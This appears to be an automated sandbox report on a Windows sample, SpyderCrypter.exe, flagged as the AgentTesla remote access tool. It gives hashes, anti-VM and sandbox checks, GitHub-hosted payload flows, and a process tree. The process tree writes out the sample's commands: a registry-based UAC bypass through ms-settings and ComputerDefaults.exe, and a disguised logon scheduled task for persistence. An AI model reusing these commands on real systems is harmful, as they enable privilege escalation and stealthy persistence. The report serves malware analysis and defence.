Analysis
-
max time kernel
5s -
max time network
32s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
30-06-2024 13:54
Behavioral task
behavioral1
Sample
SpyderCrypter.exe
Resource
win10-20240404-en
General
-
Target
SpyderCrypter.exe
-
Size
4.8MB
-
MD5
b3fb79184d1097420fb68b0240df9660
-
SHA1
60fcb2b85867b247bb5c622f121e4ab208c7da9c
-
SHA256
8babb9a5318d0b2fa43d6c18e91a23a70de547243db91f866e50bb2ff1b7db8b
-
SHA512
130ecef6b8d4418784dafa341277b214693c0d1849e6cf04a87193eb413b3ae0cef7eeb3124494a8bca33ffb2d1b27f875adeadbae1aea3d2ff767710471807e
-
SSDEEP
98304:FYh322d2m5YhkvxW/gGfoq8Np9qAX7z3z9CW6dwFdkyRYq/:FYhGy2tqvpoT8NvzJTp/
Malware Config
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
AgentTesla payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4440-16-0x0000000005810000-0x0000000005A24000-memory.dmp family_agenttesla -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
SpyderCrypter.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ SpyderCrypter.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
SpyderCrypter.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SpyderCrypter.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SpyderCrypter.exe -
Executes dropped EXE 1 IoCs
Processes:
SpyderResources.exepid process 3212 SpyderResources.exe -
Processes:
resource yara_rule behavioral1/memory/4440-11-0x0000000000140000-0x0000000000B4C000-memory.dmp themida behavioral1/memory/4440-12-0x0000000000140000-0x0000000000B4C000-memory.dmp themida -
Processes:
SpyderCrypter.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SpyderCrypter.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 1 raw.githubusercontent.com 2 raw.githubusercontent.com 4 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4540 3212 WerFault.exe SpyderResources.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
SpyderCrypter.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion SpyderCrypter.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS SpyderCrypter.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer SpyderCrypter.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
SpyderCrypter.exedescription pid process Token: SeDebugPrivilege 4440 SpyderCrypter.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
SpyderCrypter.exedescription pid process target process PID 4440 wrote to memory of 3212 4440 SpyderCrypter.exe SpyderResources.exe PID 4440 wrote to memory of 3212 4440 SpyderCrypter.exe SpyderResources.exe PID 4440 wrote to memory of 3212 4440 SpyderCrypter.exe SpyderResources.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe"C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe"C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbs" /f3⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C computerdefaults.exe3⤵
-
C:\Windows\SysWOW64\ComputerDefaults.execomputerdefaults.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT4⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 20883⤵
- Program crash
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\SpyderResources.exeFilesize
11KB
MD5cc132ca7e1cf77db1a3e737260fcf14b
SHA1f6058656d44e95c23071251b278bc779a88083da
SHA2564c62d4e150f91dc3fdd1f29c955763c52f357045b1a2edf98ac272631dfdb210
SHA51252e64fdf7acf08525ddb352b0dd0b6ca3df8d8f13fa09dcd31c270c4e2040f2361c04ba56915cd05539f581df712562537239fbc942131cc725502af6d010fee
-
memory/3212-42-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/3212-40-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/3212-32-0x000000000C000000-0x000000000D543000-memory.dmpFilesize
21.3MB
-
memory/3212-27-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/3212-28-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/3212-24-0x0000000000C90000-0x0000000000C9A000-memory.dmpFilesize
40KB
-
memory/3212-26-0x0000000002E90000-0x0000000002E9A000-memory.dmpFilesize
40KB
-
memory/3212-25-0x0000000002FC0000-0x0000000002FDA000-memory.dmpFilesize
104KB
-
memory/4440-10-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-4-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-14-0x00000000053C0000-0x0000000005452000-memory.dmpFilesize
584KB
-
memory/4440-15-0x00000000053A0000-0x00000000053AA000-memory.dmpFilesize
40KB
-
memory/4440-16-0x0000000005810000-0x0000000005A24000-memory.dmpFilesize
2.1MB
-
memory/4440-17-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-18-0x00000000083C0000-0x0000000008470000-memory.dmpFilesize
704KB
-
memory/4440-12-0x0000000000140000-0x0000000000B4C000-memory.dmpFilesize
10.0MB
-
memory/4440-11-0x0000000000140000-0x0000000000B4C000-memory.dmpFilesize
10.0MB
-
memory/4440-0-0x0000000000140000-0x0000000000B4C000-memory.dmpFilesize
10.0MB
-
memory/4440-6-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-13-0x0000000005B20000-0x000000000601E000-memory.dmpFilesize
5.0MB
-
memory/4440-5-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-31-0x0000000000140000-0x0000000000B4C000-memory.dmpFilesize
10.0MB
-
memory/4440-3-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-33-0x00000000754A6000-0x00000000754A7000-memory.dmpFilesize
4KB
-
memory/4440-35-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-36-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-38-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-2-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-39-0x0000000075490000-0x0000000075560000-memory.dmpFilesize
832KB
-
memory/4440-1-0x00000000754A6000-0x00000000754A7000-memory.dmpFilesize
4KB